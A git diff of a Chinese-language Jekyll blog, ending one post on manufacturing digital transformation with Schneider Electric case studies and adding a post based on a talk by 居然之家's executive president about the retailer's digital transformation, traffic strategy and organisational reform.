+在设备、工厂的工艺设计、制造、使用、运营、维护的全生命周期中，各个阶段的团队各自独立，导致生命周期不连贯，无法形成闭环。 + +数字孪生的概念，就是从设计阶段开始进行数据建档，在全生命周期的各个环节进行数据同步，就能够随时追溯设备生命周期中各个环节的状态，从根本提升制造业的效率。 + +数字化转型维度四：从分散式管理到集成化的企业管理 + +当企业规模变大，企业需要数据化的集成管理。不光是企业各个单元需要集成管理，对于大型的生产制造工艺，也需要对各个环节的速度，效率进行精细化管理，避免资源的浪费。 + +数字化集成管理的优势，就在于：通过单一的数据源，实现数据资产的优化；通过统一的运营中心，实现运营效率的优化。 + +# 数字化转型的三个挑战 + +挑战一、管理的挑战 + +1、企业文化 + +首先对于企业数字化转型，是全员的动作，对于制造业来说，一线蓝领的转型尤为重要。这就需要企业整体文化观念的转变，首先从观念上转型，才能完成实际动作。 + +2、组织架构 + +当大家有转型的意愿之后，组织架构要给大家转型、融合、试错的空间。比如从KPI的制定，就应该更加有包容性。 + +3、系统流程 + +系统流程是企业文化和组织架构的映射，表象的系统流程，实际是形成了一个个“千岛湖”，甚至是“堰塞湖”，不能实现真正的流通，反而降低企业效率。 + +挑战二、能力的挑战 + +1、人的能力 + +企业的组织和文化转变，就需要人的跨界，去学习不同领域的知识，实现从单一能力，到复合能力的变化。 + +2、人的技术 + +首先我们要了解技术，有基础通讯技术能力，首先我们要了解数字化转型过程中，问题出在哪里，才能去寻求帮助。 + +现在对于企业来说，一个问题是数据太多，如何运用好数据，就需要提高人的数据处理能力。 + +3、流程整合能力 + +当拥有了通讯技术能力与数据处理能力，那么如何用数字化来赋能每个业务流程，就需要全套的流程整合能力。 + +挑战三、效益的挑战 + +真正成功的企业数字化转型，是提升企业效益标。而且经济效益的不确定，也会让大家对数字化转型充满怀疑和疑惑。所以，企业的数字化转型一定要以效益为目标，有了效益，也就有了说服力。 + +经济效益和社会效益的平衡也很重要。社会效益的提升，是企业可持续发展，持续提升经济效益的前提。反过来看，如果企业提升了社会效益，同时企业也在提升自身的经济效益。 +数字化转型的两大举措 + +所以企业的两个转型举措，就是管理的变革，和能力的提升，来最终实现数字化转型带来的效益提升。 + +管理的变革需要首先用文化引流，再以组织架构做保障，最后完成系统流程的重塑。 + +能力的提升，要先做能力需求模型的规划，再根据能力需求来实现企业员工的能力提升，和新人才的引进实现技术的创新与应用。 + +# 数字化转型的典型案例分析 + +前三个是低能耗，规模小的离散行业、轻工行业案例。 + +案例一、施耐德武汉工厂 + +精益管理和精益生产。精益生产是要求企业在不同的地方通过不断挑战自己来提高效率。那么如何实现？一个是靠施耐德SPS精益评价体系，另一个是靠员工不断在新领域的学习力。 + +施耐德的SPS精益评价体系，要求每个企业降低5%的能耗。如何完成这样的战略目标？首先建立试点，将核心工艺与辅助工艺流程研究透，并通过数据分析来实现能耗的降低。以试点作为榜样，让大家有意愿参与转型，并且通过手把手地传授，快速推进整体的目标实现。 + +在这过程中，也需要管理能力的升级：从简单的员工规模管理，到员工效率的管理。并且要满足80%以上的员工参与率，最好是全员转型。 + +全员的转型才是真正的企业数字化转型。并且我们要培养自己的员工的转型能力，而不能总依赖外力。 + +案例二、汉威科技集团股份有限公司 + +汉威找到施耐德寻求帮助：汉威短时间、快速的增长，超越了其原有管理方式的极限。内部效率降低，对外，也难以按时完成客户交付。汉威认为，也许通过购买自动化设备，可以提高整体效率。 + +**施耐德的给出的解决方式是：先医后药，先软后硬，小步快跑，效益第一。** + +不能盲目地上设备，我们先来诊断问题出在哪里。经过施耐德的分析判断，其实汉威的问题出在管理上，企业处在“管理黑箱”中，所以首先要解决的是管理问题。 + +那么对于是否采购自动化设备的问题，需要明确，前提是数据的打通。当信息没有打通时，上新设备只会加剧信息不流通，不匹配的问题。在实际中就有许多生产设备信息不流通的企业案例，信息不同步，工艺流程错配，造成大量现代化设备的开工率低，带来巨大的资源浪费。 + +数字化转型是一个循序渐进的过程，在自动化设备上新之前，还有许多准备工作。在当今的经济高速发展的时代，我们已经不能够像100多年前的福特一样，将生产线停工两年来进行改造和重新应用。 + +那么施耐德如何帮助汉威的转型呢？ + +首先将信息打通。简单地增加一个扫描枪来提取数据，将纸质表单变成电子的数据展示屏。在信息打通、数据同步的同时，也提升了组织管理效率。同时也做工艺路线的精益：长线改短线，短线改U型线等。 + +这样简单的改变，提升了工厂的效率，将产能提升了22%，人均产值提升14%，订单的及时响应率提升至了80%。半年实现了投资回报。 + +案例三、杭州新美 + +杭州新美是一个电力设备制造企业，5年业务提升了3倍。而企业管理的提升，往往滞后于业务的增长。 + +对于杭州新美，施耐德首先帮助改进了一条生产线，让企业看到了数字化转型带来的效益提升。那么接下来引导其制定顶层的企业数字化转型规划，从企业文化、组织架构、人才模型等方面，统筹兼顾地实现转型。同时在规划中还要将供应链和精准营销规划进来，因为如果不提升上游的供应链，和下游的营销，只实现中间的生产的效率提升，是没有太大实际意义的。 + +杭州新美经营生产的转型，显著提高生产效率，降低了50%以上的交货期、降低了50%以上库存，同时大幅节省产线面积。一年内实现了投资回报。 + +后三个是连续工艺，体量大的重工行业案例。 + +案例四、中国宝武钢铁集团（IT和OT的融合） + +行（hang）车，是人们对吊车、航车、天车等起重机的俗称，与我们所称的起重机基本一样。在炼钢工厂的热轧车间，行车作业的工作强度极大，稍不留神很容易出安全事故，所以对于这样的企业来说，安全第一。就需要用机器代替人工，排除人为因素干扰，提高生产作业安全。 + +同时，需要抓取的钢板位置全部需要人来记忆，准确度只能达到30%，所以第二大需求便是提升行车作业的准确度。 + +更重要的是，在大型热轧车间中，准确记忆钢板位置的前提下，还要能够合理安排行车路线，钢板的进出顺序。 + +在安全、准确、有序行车作业的前提下，更要能提升效率。 + +施耐德帮助宝钢设计了能够物体识别、计算最佳路线的实施行车作业系统，实现了中国第一个无人行车车间。节省20人的人工，将准确率30%提升至90%，提高生产效率与经济效益。 + +案例五、甘肃祁连山水泥集团股份有限公司（全生命周期的融合） + +水泥行业对于数字化转型有如下迫切需求点。一，环保。水泥行业为符合环保要求，有半年是停工的。二，效益。水泥是一个高耗能行业，用电成本巨大。三是管理。企业中全部都是老员工，工艺环节成为了老师傅们的隐性知识，难以传承，同时也缺少年轻员工进行传承。 + +施耐德结合老师傅们的经验，用IT技术和建模能力，打造能耗最低，效率最高的数字化的工艺模型。不仅提高生产过程的准确率，而且可以对工艺模型进行迭代，甚至在工艺过程中做实时的提升。 + +将隐性的员工经验知识，变为数字化的模型，可以很好地传承下去。 +全生命周期的数字化，也让数字孪生的概念真正赋能数字化转型。一年半内宝钢实现了投资回报。 + +案例六、湖北三宁化工股份有限公司 + +在三宁化工建立新厂房的时候，施耐德便帮助从头做数字化交付，建立数字化闭环。 + +其次是对操作员的仿真培训。在前期，通过OTS为员工做沉浸式模拟工厂作业培训。在厂房建立之后，通过增强虚拟现实，给员工即时提供大量历史数据，快速了解设备信息；提示操作步骤，做防呆；机器人陪同作业，为操作员进行能力背书。 \ No newline at end of file diff --git a/_posts/2021-05-21-552-jrzj.md b/_posts/2021-05-21-552-jrzj.md new file mode 100644 index 0000000..7c02a05 --- /dev/null +++ b/_posts/2021-05-21-552-jrzj.md @@ -0,0 +1,398 @@ +--- +layout: post +title: 居然之家：数字化赋能，线下卖场如何升级为产业平台？ +pid: 552 +tags: [数字化转型] + +--- + + + +在数字化时代，是否具备数字化生存能力已经是企业能否存活、发展的关键。但数字化究竟该怎么做？从营销入手，还是从品牌起步？业务为先还是工具为先？如何判断一家企业数字化已经成功？企业数字化建设短期内难有成效，该如何坚持？这些问题，都是传统企业数字化所必须回答的。 + +居然之家，成立于1999年，目前市值为476亿港元。作为一家拥有近四百家门店、房租和人力成本高企的典型的传统企业，居然之家早在2012年就开始信息化建设，2018年牵手阿里巴巴，并以自主探索的方式开始多渠道发力数字化建设。从2018年起，居然之家连续三年蝉联天猫“双十一”家居行业第一名，2020年淘宝“618”直播新零售行业（包含家居、家电、美妆等细分行业）第一名。 + +居然之家是如何穿着房租和人力两只“铁鞋子“开始了数字化转型？它的数字化路径是怎样的？它踩过哪些数字化的”坑“？数字化建设当中，最难的组织建设，它是怎么做的？ + +居然之家执行总裁王宁老师迄今在居然之家已经服务22年，亲身参与了居然之家数字化的全过程。 + +在本周《居然之家：数字化赋能，线下卖场如何升级为产业平台》中，王宁走进混沌大学，从以下四个部分来拆解居然之家的数字化： + +第一部分 数字化转型：”焦虑“带来的产业机会 + +第二部分 业务数字化：关键打法 + +第三部分 组织数字化：原则与制度 + +第四部分 数字化转型过程中的几点思考 + +**以下内容由王宁分享。** + +![img](https://p2.itc.cn/q_70/images03/20210326/cac92a77bc4e47e6a93324c29db55b70.jpeg) + +授课老师 | 王宁 居然之家执行总裁 + +编辑 | 混沌大学商业研究团队 + +支持 | 混沌大学前沿课 + +本文为混沌大学商业研究团队原创文章 + +**01** + +**数字化转型：“焦虑”带来的产业机会** + +我今天分享四个部分： + +1.居然之家的数字化转型过程 + +2.业务数字化 + +3.组织数字化 + +4.最后是我对数字化转型的几点思考。 + +**穿着“两只铁鞋”的转型** + +2012-2013年，包括我在内的居然之家的董事会成员，都感到一股深深的焦虑。 + +那时，几乎所有的实体店都受到了互联网的冲击，从快消品、电器、服装、百货，一直到了我们所在的家居行业。虽然相比之下，家居行业的互联网化比较慢热，但那时已经出现了如齐家网、爱蜂潮和土巴兔等互联网企业。 + +不仅来势汹汹，而且这些互联网家居企业的背后都有雄厚的资本进入。 + +面对竞争，我们也想迎难而上，做出成功的数字化转型。我们在线上开了一个叫“居然在线”的一个平台做销售，当时逻辑很简单，就是把线下的产品搬到线上去卖。 + +然而，这样的转型尝试遭到了一家互联网家装企业的质疑：你没戏，因为你是陆军，而我们是空军，你穿着两个沉重的鞋（房租+人力），跑不起来。 + +![img](https://p1.itc.cn/q_70/images03/20210326/06eb1be930c3491694d9efd81031f4f6.png) + +面对这样的质疑，我觉得也对。而且还有三个问题是自己也能看到的。 + +**第一个问题是左右手互搏。**线上和线下是我们的左右手，我们每在线上销售一单，线下可能就会少一单。这二者的KPI我怎么分配？是不是交给同一拨人做？是不是用同一批货做？这些问题都难以解决。 + +**第二个问题是品牌商与经销商的利益博弈。**家居行业跟快消品服装还不一样，一家服装品牌商在天猫上做店面，可以不再经过线下实体店，就触达全国甚至全球的C端消费者，直接送到支付者的家里。 + +但家居行业需要本地化的服务。品牌方可以在线上，但家具的定制、体验、送货、安装都需要线下实体店的经销商配合。 + +但线下经销商不愿意仅成为廉价的送货工、搬运工甚至组装工，因此抵触品牌商转移到线上，所以品牌商和经销商的利益博弈始终贯穿着我们线上线下融合的过程。 + +**第三个问题是线上和线下交易价格的冲突。**线下允许讨价还价，但线上不能，因此两者之间可能产生价格差。 + +**交易的四个节点** + +虽然这三个问题困扰着我们，但是我们也惊喜地发现，家居行业重体验、重服务的特点，给了我们足够的时间，去适应互联网企业的冲击。 + +商品的交易离不开四个环节： + +1.集客，也叫引流； + +2.体验 + +3.结算 + +4.交付 + +如果一个实体行业这四个环节都能在线上实现，那么分分钟都可能被互联网企业革命。 + +但是对于家居行业，集客和结算虽然也可以在线上实现，但是体验和交付两个环节，都需要线下场景。 + +特别是，当时我们很悲观的时候，有一次我偶遇了之前质疑过我们的那家互联网家装品牌的一所将近2000平米的体验店。之前的焦虑突然减少了很多，当我走到他的店里转完一圈以后，心里更加坦然：看来人力和地租这两只沉重的鞋你也需要。一旦你穿上鞋了，不就跟我一样了吗？甚至你还不如我，因为线下是我的主场，而你从线上到线下付出的成本，远高于线下到线上的成本。 + +**滴滴打车的启示——解决模式焦虑** + +虽然心态放松了些，但是线上应该采用什么样的模式呢？ + +怀着这个问题，滴滴打车在2015年进入到我们的视野。 + +**滴滴打车的模式很简单，自己并没有车，就是一个平台。**然后他们一方面在B端，让出租车司机去下载它的APP，同时在C端再找很多的乘客进来，之后再做一个支付系统和好差评制度，基本逻辑就打通了。 + +滴滴的平台思维一下子让我们想到，原来数字化不光是把产品放到线上去卖，还要有一个商业模式的闭环。 + +对于居然之家，因为 **我们的定位是中高端客户群，这些客户是不会找马路游击队的，一定要找个设计师，所以设计师就成了我们的流量入口。** + +我们又想象，如果把滴滴司机的方向盘扔掉，变成设计师的画笔，这时乘客也就变成了有家装需求的顾客。 + +接下来体验、交付也很容易做。于是我们不仅找到了数字化转型的逻辑，还为设计师、施工队、卖场、品牌商、经销商、消费者这六个生态伙伴分别构建了平台，实现了利益趋同。 + +![img](https://p5.itc.cn/q_70/images03/20210326/62130868f4824a0b8829e40edda647da.png) + +**新的焦虑：流量** + +然而此时，我们依然焦虑。因为我们进入线上这个行业太晚了，前方有几个互联网巨头已经把流量紧紧地握在手里。互联网企业是赢者通吃的，虽然这时我们已经有了线上的商业逻辑，也有底层的商业架构，并通过引入大量设计师跑通了B端，但是C端的流量依旧少得可怜。 + +就好像满大街都是出租车，司机开着出租车，但是找不到乘客。 + +**解决流量焦虑：引进阿里巴巴+拓宽公域流量+成立数字化研究中心** + +好在这时我们遇到了一个高度认同我们商业逻辑和商业模式的企业，阿里巴巴。我们很快在2018年的2月达成了战略合作，进入了数字化转型的新阶段。 + +接下来我们在2020年又做了两件事情。一个是拓宽公域流量的渠道，除了阿里系，我们还积极地拥抱其他的公域平台，比如字节系的今日头条、抖音，还比如微信、快手、小红书等，我们要 **建立自己的全域流量平台。** + +另一件是，我们又成立了 **数字化研究中心**，因为我们要从一开始的营销到业务端、供应链，再到后台管理，最终变成向生态伙伴开放赋能的一个产业服务平台。回顾居然之家的数字化转型，虽然一开始跌跌撞撞，但至少我们走在了一条通向成功的路上。 + +**02** + +**业务数字化：关键打法** + +接下来跟大家详细地交流一些关于业务方面的数字化。 + +**全域流量运营平台** + +首先，我们要做的是构建全域流量运营平台，提升我们的线上获客能力。 + +数字化时代的获客与过去有什么不同？ + +对于原先的商场、购物中心，流量决定于位置。我在城区开商场，客流量一定会比城乡接合部要大。同样，在商场里，你在环廊开店肯定要比辅通道客流要多，辅通道的客流肯定要比边角多。 + +但是在互联网时代完全不一样了，我们运营的客户在什么地方？在各种互联网应用上。 + +![img](https://p5.itc.cn/q_70/images03/20210326/cc6da2b760f64482804918b388b34234.png) + +所以客户都已经转移到这些互联网应用上面了，如果你还在想着二环、三环，那么我觉得你落伍了，没有未来。 + +要构建全域流量平台，我们做了几件事： + +**1.首先打造了一个本地化的线上增量平台，同城站。** + +家居行业很多的服务，绝大部分是需要本地化的，因此虽然居然之家的消费者分布在全国200多个城市，但是一个城市的消费者不需要看到其他城市的内容。 + +为此，我们打造了同城站，当消费者登陆天猫的时候，只看到本地内容。 + +![img](https://p6.itc.cn/q_70/images03/20210326/3b309ff6f8754116a563dae6d070c8f2.png) + +而且天猫是根据流量来排名的，因此我们对同城站的构建就像在养一个孩子一样，越养它的流量就会越大，流量越大，反过头来我们的主要经营者的信心就会越足，会投入更多的成本。 + +**2.我们还开设了淘宝直播。** + +为什么我们在淘宝上做直播，而不先在抖音、快手直播？原因其实也很简单，因为在淘宝做直播是直接跟我们的同城站打通的。居然之家当时打造了很多自己的IP，有董事长亲自参与的，叫“BOSS来了”，而我参与的叫 **“总裁价到”**。我们还邀请了居然之家的门店总经理，叫“约惠总经理”，而导购员的栏目，叫做 **“超级e主播”**。 + +在这里我跟大家强调一下，品牌直播和平台直播的区别。 + +品牌直播可以找几个网红，然后大家一分账走人，这个直播就结束了。但对于我们来讲，这样的直播没有意义，我要的不是卖了多少东西，而是有多少人进来，关注居然之家，成为我的粉丝，从原来的公域流量变成私域流量。 + +我要通过留客、留资来进行转化，否则你就是一个过客，对我来讲是没有意义的。 + +所以我的直播的KPI考核不是卖多少钱，而是日均开播时间、围观的人数、粉丝的转化，包括线上获客的转化率，或者叫渗透率，这才是对于我至关重要的。 + +第二个是我们的内容矩阵的建设。因为我们不能在阿里系一条赛道上，还要通过其他的公域流量平台继续增强与消费者客户C端的粘性。 + +![img](https://p3.itc.cn/q_70/images03/20210326/e95f38de23be4525ae9777b75577e708.png) + +于是我们跟字节系，或者跟微信、快手等等也建立了联系，甚至包括贝壳、链家都在联系，增强我们的转化率。 + +第三个内容，就是我们的智慧门店。具体来讲就是通过对接阿里，再通过了各种数据挖掘工具，我们将卖场的商品服务、会员服务乃至营销、金融全部打通融合。 + +![img](https://p4.itc.cn/q_70/images03/20210326/c7e9b753947d49b694f22ae5a68b26ee.png) + +第四块内容是数据中台的建设。 + +随着流量的引入，居然之家也积累了不少数据。数据本是一笔财富，通过分析数据可以提升居然之家的信息化能力，但有三个关于数据的问题难以解决。 + +1.看不清，无法为管理者的决策提供准确、实时的数据。 + +2.管不住，起初居然之家的信息化系统种类繁多，互不连通，没有统一的标准，数据存储的离散度非常高，最后形成一个个数据孤岛，互不来往。 + +3.用不了，比如有很多会员注册后就与居然之家失去了联系，这部分数据形如僵尸。 + +为此，居然之家跟阿里云合作，开始了数据中台的建设。首先，通过对数据应用的挖掘，能够为管理层提供从招商运营到物业的管理、连锁、营销，乃至最后的经营看板、决策分析的全链路服务。 + +其次，我们还开始对生态链上的合作伙伴，包括卖场、品牌方、还有厂方等提供数据支持。他们甚至可以告诉工厂，哪些产品可以卖得更好。 + +**为消费者提供线性服务** + +除了打造自己的全域流量平台，提升自己的获客能力，我们还要给消费者提供线性服务。 + +这是因为，家装家居的消费是家庭消费当中链条最长，环节最多，痛点最多的行业。从设计到施工，从材料采购到家具采购，再从物流配送到居家服务，消费者一路走过来，苦不堪言。很多人本来是怀揣着对美好生活的向往来的，最后却充满了遗憾、不甘。 + +![img](https://p2.itc.cn/q_70/images03/20210326/595825fbe5f740a6a5e15650afdba6fc.png) + +为什么会这样？就是因为这个行业信息不透明，效率很低，导致消费者的体验非常差。 + +我们要解决这个问题，或者说我要通过拓展我的自营和IP业务来补全全链路服务消费者能力上的短板。 + +过去的居然之家，从一开始的设计到施工，再到家居建材的采买，再到定制、安装、物流配送，最后到到家服务，我们只负责了中间的大卖场环节，对于家具和建材的销售而已，其他的环节我们都没有碰。但其实这个行业其实痛点很多。 + +为了提升自己对消费者的线性服务能力，我们开始向上下游开始拓展。从设计到施工，再到建材超市、智能家居，还有到家服务和物流，我们开拓了六条赛道。 + +这六条赛道完全改变了居然之家以前的平台模式，变成了我们从前端获客，到后面增加消费者粘性的利器。 + +那么我简单地把六大赛道介绍一下。 + +1.设计 + +我们收购了美国的Autodesk公司旗下的Homestyle软件，叫居然设计家。之后又跟阿里合作，共同投资设立了一个家装家居数字化的设计平台，以3D化的设计工具，为我们的设计师和装企提供专业化的设计工具和渲染工具。 + +目前这个平台在全球为我们吸引到1000万注册设计师，相当于滴滴的1000万司机。 + +2.施工 + +我们搭建了云设计平台，材料采购平台和施工管理平台，从设计到材料，从施工到售后进行家装全链路的数字化管理。通过建立公开的、透明的利益分享机制，为我们产业链上的合作伙伴进行赋能。 + +3.材料 + +我们的建材超市已经有10多年历史了，现在我们又给它赋予了数字化的能力。首先要对标全球建材超市的第一名家得宝（Home Depot），采取B2B2C或者B2C的组合，这样的运营模式，不仅在供应端加大了IP和自有品牌业务的开展，提升了建材的基材和辅料的品质，而且为B端的施工队和C端的客户免费配送。 + +4.物流送装 + +由于目前市场上还没有专门做大件家居物流的企业，所以我们想通过B2B2C的运营模式，集我们的仓储、运输、定制加工，包括配送、安装于一体，做一个一站式的大件商品的数字化智能物流平台，将来会极大地提升这个行业的效率，同时改善我们的服务体验。 + +5.智能家居 + +随着万物互联时代的到来，我们现在要开始利用居然之家自身，为苹果、华为、小米这些手机和智能家居厂商代理，深度融合智能家居，实现沉浸式的体验场景，同时打通家装软装，家纺软装和餐厨用品、家居用品的供应链，为更多的消费者提供美好生活。 + +6.到家服务 + +这方面也是采取B2B2C和B2C的模式，以智能家居水电风暖为切入点，为顾客提供后家装的设备保养、维修、更新甚至家政服务。因为前期消费者的信息不都在我们这里，而后期的维修，甚至在家政方面，我们有极为合适的获客通路。居然之家的智能后家装服务平台，叫居然管家，上面有注册工程师接近9万人。 + +![img](https://p9.itc.cn/q_70/images03/20210326/761dd70da22e45c493639e58248c3ff8.png) + +**打造家装家居的产业服务平台** + +业务数字化的第三项内容，是打造家装家居的产业服务平台。我们加大数字化的科技投入，来实现各线性业务和企业经营管理全面的数据化、数字化，赋能生态链上的合作伙伴。这件事情不仅是关于居然之家本身，而且是只要跟我们有合同关系的企业，无论B端、C端，我们都服务，希望能够在未来三年左右实现。 + +数字化革命是人类工业史上，继蒸汽技术革命、电力技术革命和计算机革命之后的又一次浪潮。为什么我们很焦虑？不是因为行业内有很多的同行跟我们竞争，因为我们现在算是头部企业，如果仅仅是行业内的竞争，头部企业有资源优势，还不会那么快倒下去。而我们担心的就是恰恰认为自己有庞大的渠道、庞大的架构，而在数字化反应上迟钝了，没有一个清晰的认识，这个时候我们可能会倒下得非常快。 + +有时原有的优势恰恰会成为你的包袱。 + +传统企业的效率低，消费者的服务体验差，对于传统行业进行数字化改造正当其时。比如家居行业，经常就是因为信息不透明，导致设计师、施工队，还有材料商，三者联合起来宰割消费者，吃回扣。所以对越落后的传统行业，数字化改造的边际效益往往越高。把这些行业重做一遍，我可以重塑商业模式，可以重新创造顾客的价值，甚至可以重新界定行业的格局。 + +我们这几年经过数字化转型，也能看到一些变化。 + +比如，企业无论大小都要有采购部门。在传统企业中，这个采购部门是个成本中心，容易滋生腐败。而我们通过数字化的赋能把采购变成了一个平台，大家可以在平台上自己交易。 + +从汽车到电脑，所有供应商的型号、价格、参数都在平台上招投标。 + +这个平台原先是企业内部在用，但从去年开始，有很多企业找到我们，也想从我们这儿采购。因为我们便宜，而且不存在任何灰色的东西。 + +这样我们的采购平台原先是一个成本中心，现在变成了一个收益中心。第一，我对所有平台上的供应者收费，也不用多收，一家几千块钱一年，因为我上面有将近1万家企业。第二，我把它向全社会开放，我可以收管理费。 + +因此，典型的数字化思维就是：高效、信息公开透明，向全社会开放。 + +最后，如果总结居然之家的业务数字化转型，就是分三步走。 + +第一是一切数据化，对业务和流程要制定标准并信息化，最后数字化； + +第二步，开始连接一切，不仅要让居然之家内部的环节连接起来，还要让我们的平台和刚才的六大赛道以及六大赛道之间连接起来，最终还要把居然之家体系之外生态链上的合作伙伴连接起来。 + +第三步是开放赋能，建立一个共生协同的商业平台。平台能做大的理由是因为别人需要你，尤其是当在平台上的生态伙伴过得越来越好的时候，放心，你的平台也一定会越来越好。 + +**03** + +**组织数字化：原则与制度** + +第三部分是关于数字化转型中，组织的数字化。 + +首先，我的一个体会是，数字化的转型不是为了看到更加美好的明天，而是为了今天生存的需求，因此是很紧迫的。因为零售行业最近这10年的变化可能超过了前面50年，我也相信未来2年的数字化会超过前面的10年。 + +未来的企业只有两种，一种是数字化的企业，还有一种是正在数字化转型路上的企业。我们也可以理解成，一种企业是具备数字化能力的，还有一种企业是不具备数字化能力的。那么我相信前者会为自己赢得更加广阔的未来发展的空间，那后者可能就会举步维艰，直至退出舞台。 + +关于组织方面有三个要点。 + +**第一个是企业的组织结构的设计，必须要以数字化的部门为中心展开，数字化部门必须要获得人才和资源的优先分配权。** + +而且在转型的前期你是没有任何收益的。 + +同时你要保证你的主营收入还在，不能排斥它，认为我要数字化，就把原来的传统东西都抛弃，这是一个很巧妙的平衡。 + +作为居然之家，我们在做数字化转型时首先做一件事情，要成立一个最高机构，叫数字化委员会，由董事长，包括我在内的一些高管组成。通过数字化委员会，我们会对数字化战略研究、探讨，乃至最后制定成型，来决定企业转型的方向和节奏。 + +为了高效，我们当时建立数字化部门的时候，对这个副总裁说得很清楚：你可以越过我，直接跟我们董事长汇报。因为大家要保持高度的协同，达到同频共振。 + +我们不仅有一个数字化委员会，现在还有两个重要的部门。 + +一个是去年刚成立的数字研发中心，在数字委员会的领导之下，负责数字化转型战略的具体研究制定，运营体系、客户体系的搭建，之后还有科技工具的研发，比如我们要做一个程序，有内容在里面，我如何去把消费者都抓取过来，然后我再给他分发什么权益。我们不能所有工具都去外面买，得研发自己的东西。 + +同样对应需求方或者使用者，还有一个新零售营销中心。它负责场景的应用，然后反馈，你这工具好不好用？进而还要培训平台上所有的商家，因为真正使用的是他们。 + +**第二，数字化时代，企业发展的推动力来自员工的主动创造和彼此的协作，而不再仅仅是领导的决策和指挥。** + +数字化的企业在组织上，首先要确定你的员工都是自驱型的。我们也参观了很多的数字化企业，包括大家耳熟能详的阿里、京东、贝壳，这一点表现得非常清晰。 + +其实从居然之家来讲，这两年在这方面的努力，也取得了不错的成效。首先第一个阶段是，要让员工自发地认识到现在我们企业的欠缺，包括他个人在数字化能力的不足，只有知道了自身的需求和不足，大家才会有紧迫感。接下来，我们会为员工的驱动，提供很多适合场景的培训，让员工掌握一套能够学习数字化转型的工具和方法。 + +驱动数字化转型的核心是组织，要从业务团队提炼，因为数据需求是从业务来的。 + +最开始的数字化转型围绕的是营销，但之后是业务。 + +我们刚开始的时候也确实把IT部门独立于业务之外，这时候你会发现业务部门，不知道该怎么提需求，或者知道怎么提了，但无法转换成合理的分析，而IT部门只会编程编码，不了解前端的业务思路。我认为市面上最缺的人才，就是又懂数据编程、又懂业务的人。 + +传统经济时代的HR没有很贴近业务，大量精力是在计算奖金、工资、考勤，但现在你不会因为一个员工上班时间从来不迟到，就会表扬这个员工，因为你要的是业绩。 + +所有的HR角色要向业务来转型，成为业务的伙伴，为业务解决当前的问题。 + +另外一块就是专家中心，因为数字化过程要匹配各个部门的业务，需要一个具备人力方面的知识，同时对业务要非常了解的专家，我们称之为专家中心。 + +另外一个是我们为日常的事务性人力工作进行了共享。 + +通过以上三大支柱，我们将人力更加向业务贴近，提升了我们整个企业的组织效率。 + +**第三块是数字化对企业管理的赋能，每一级别管理人员的管理半径都会放大，要求企业组织结构要扁平化，尽量减少中间组织的结构和环节。** + +越是大型企业，层级越复杂，但这其实是个信息快速衰减的过程。 + +其实企业内部的结构无外乎分三种。一种叫科层制，这是帝王时代就有的结构。这种结构在传统企业经营当中可能还适配，但到了数字化转型阶段是不行的。 + +第二种模式是矩阵式，或者事业部制。矩阵之间的负责人可以互相交流，但是矩阵内部的员工还是在原有的科层制范围之内。 + +第三种是平台制，通过极大地压缩中间层，这样的话我们把信息衰减控制在最小范围。平台制有个先天的优势，就是它没有什么层级，无论我们的一号位，还有企业的高管，还是员工的中层，乃至基层，都在这个大的平台上。大家如果说有什么问题，可以及时地交流，包括在业务方面，在后台的管理，包括中台，都可以在这个平台上。所以通过扁平化，减少中间的沟通环节，员工的自我驱动性会更强。 + +**04** + +**数字化转型过程中的几点思考** + +刚才讲到，居然之家这些年在数字化转型当中，因为没有人告诉我们该怎么做，所以我们一直在摸索。有句话叫摸着石头过河，但我们连石头也没摸着，就直接在水里面在蹚，所以既蹚出很多坑来，也取得了一些经验。 + +**一个就是数字化转型是企业的一号位工程，一号位的决心和执念力是转型成功的前提和基础。** + +一把手一定要对数字化转型有个非常清晰的认知。第一，你不能人云亦云；第二，你是自发的，因为你是一把手，不可能再有别人逼着你干这个事情。企业做得越成功，你越会跌入一个舒适区，不愿意出来了。在这个过程当中，我觉得一把手要起到至关重要的作用，就是他的决心和执念，是整个数字化转型成功与否的一个前提和基础。 + +除了一号位，整个的领导团队，也要保持思维和行动的高度一致。 + +刚开始，我们会请一些咨询公司来给我们做全盘的考量。我觉得越是大投入之前，越不要去心疼这类小投入，很多时候做出正确的选择比努力还要重要，因为你所选的路可能就是一条没有未来的路。而我们现在所做的工作，确实没有前面的成功案例，是我们自己在摸索。 + +那接着再对我们的中层乃至下层干部进行常态化的培训： + +第一，有数字化的需求； + +第二，我怎么干； + +第三，干的当中怎么去纠正。 + +在这个过程当中，首先决策者自己要当仁不让，把大梁挑起来。就像居然之家，首先是我们董事长一而再再而三地强调，如果你在这条路上成为绊脚石，那他立刻就拿人，不光拿人，连部门都可以端了，用这样一种决绝的信念领着我们大家往前走。 + +**第二，数字化转型是一项系统的工程，需要从顶层的设计开始，结合我们业务运营的实践，最终实现数据的驱动。** + +我们很多的业务或者是流程，一开始要通过制度化、流程化，进而进入标准化。 + +因为居然之家是个平台，我们最大的难点，就是很多业务不是标准化的，所以我们会有大量的工作在打报告。你天天要去批示那些非标的东西，因为不在标准范围之内，下面人就不可能做，只能给你打报告。最后大家都很疲惫。 + +怎样才能不疲惫？就要先解决标准，标准化用得越细越好，SaaS只不过是个技术手段。 + +**第三，传统的企业数字化转型，要先轻后重。在转型的前期，可以充分利用市面上相对比较成熟的SaaS工具，先把业务跑起来，经过数字化演练之后，可以再定制开发。** + +我们见过一些企业，一上来自己就组织团队做工具，在这个过程当中其实是蛮痛苦的。因为自己可能也没有准备好，也不知道走到哪一步，而更重要的是，费用会非常高。所以我们走下来之后的建议就是，可以先拿一些简单的SaaS工具做。 + +我们叫看大做小，你看似我做的很大的事情，但你一定要具体找到一个着眼点。大象很大，如果我要把一头大象吃完了，可能三年都不用再吃饭了，但这个大象肉怎么下嘴？切入点至关重要，找到切入点之后钻透，然后再说延展的事情，然后去继续迭代。 + +**第四个，数字化的转型过程不能放弃线下的主营业务。** + +数字化是赋能线下的传统产业，而不是舍弃。数字化是一个手段，无论是对组织的改造，对前后台的改造，对供应链业务端口的改造，还是对后勤部门的改造，终极目的是要用它来改造现有的传统产业，提升我的效率，改善消费者的体验，最后为顾客创造更大的价值。而不是说我不要传统业务了，很多企业之所以在转型中死掉了，就是这个原因。 + +线上的流量红利期其实已经过去了，天花板近在咫尺，现在我们要做的是要利用数字化的技术来改造传统的产业，而非将之放弃。 + +总结起来，传统的企业数字化转型，我们觉得是四个阶段。首先从营销开始，我们一开始想法很简单，就是突然有一天发现卖场的实体店里没什么人了，然后我们的客户全都到线上去了，那我就想我也得到线上去。所有的目标是为了营销，确保卖场的全域流量，就是线上和线下加在一起有增量。这一步解决的是如何获客、如何转化的问题。 + 